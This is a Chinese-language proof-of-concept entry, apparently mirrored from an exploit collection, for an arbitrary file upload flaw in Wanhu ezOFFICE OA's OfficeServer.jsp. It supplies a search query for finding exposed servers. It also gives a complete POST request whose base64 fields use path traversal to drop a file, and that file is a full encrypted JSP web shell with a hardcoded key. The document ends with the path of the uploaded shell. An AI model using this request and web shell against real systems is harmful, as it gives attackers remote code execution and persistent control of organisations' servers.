mirror of
https://github.com/Threekiii/Awesome-POC.git
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63 lines
2.1 KiB
Markdown
63 lines
2.1 KiB
Markdown
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# 万户OA OfficeServer.jsp 任意文件上传漏洞
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## 漏洞描述
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万户OA 除了 /defaultroot/officeserverservlet 接口外的另一处接口 OfficeServer.jsp 同时也存在任意文件上传漏洞，导致攻击者可上传任意文件获取服务器权限
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## 漏洞影响
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```
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万户OA
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```
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## 网络测绘
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```
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app="万户网络-ezOFFICE"
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```
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## 漏洞复现
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产品页面
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发送请求包
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```
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POST /defaultroot/public/iWebOfficeSign/OfficeServer.jsp HTTP/1.1
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Host:
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Pragma: no-cache
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Cache-Control: no-cache
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
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Cookie: OASESSIONID=847AE3A2E5D155AE7FB1CD2C6736CD66
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x-forwarded-for: 127.0.0.1
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x-originating-ip: 127.0.0.1
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x-remote-ip: 127.0.0.1
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x-remote-addr: 127.0.0.1
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Connection: close
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Content-Length: 798
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DBSTEP V3.0 170 0 1000 DBSTEP=REJTVEVQ
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OPTION=U0FWRUZJTEU=
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RECORDID=
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isDoc=dHJ1ZQ==
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moduleType=Z292ZG9jdW1lbnQ=
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FILETYPE=Li4vLi4vcHVibGljL2VkaXQvY21kX3Rlc3QuanNw
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111111111111111111111111111111111111111111111111
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<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
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```
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上传后的目录为
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```
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/defaultroot/public/edit/cmd_test.jsp
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```
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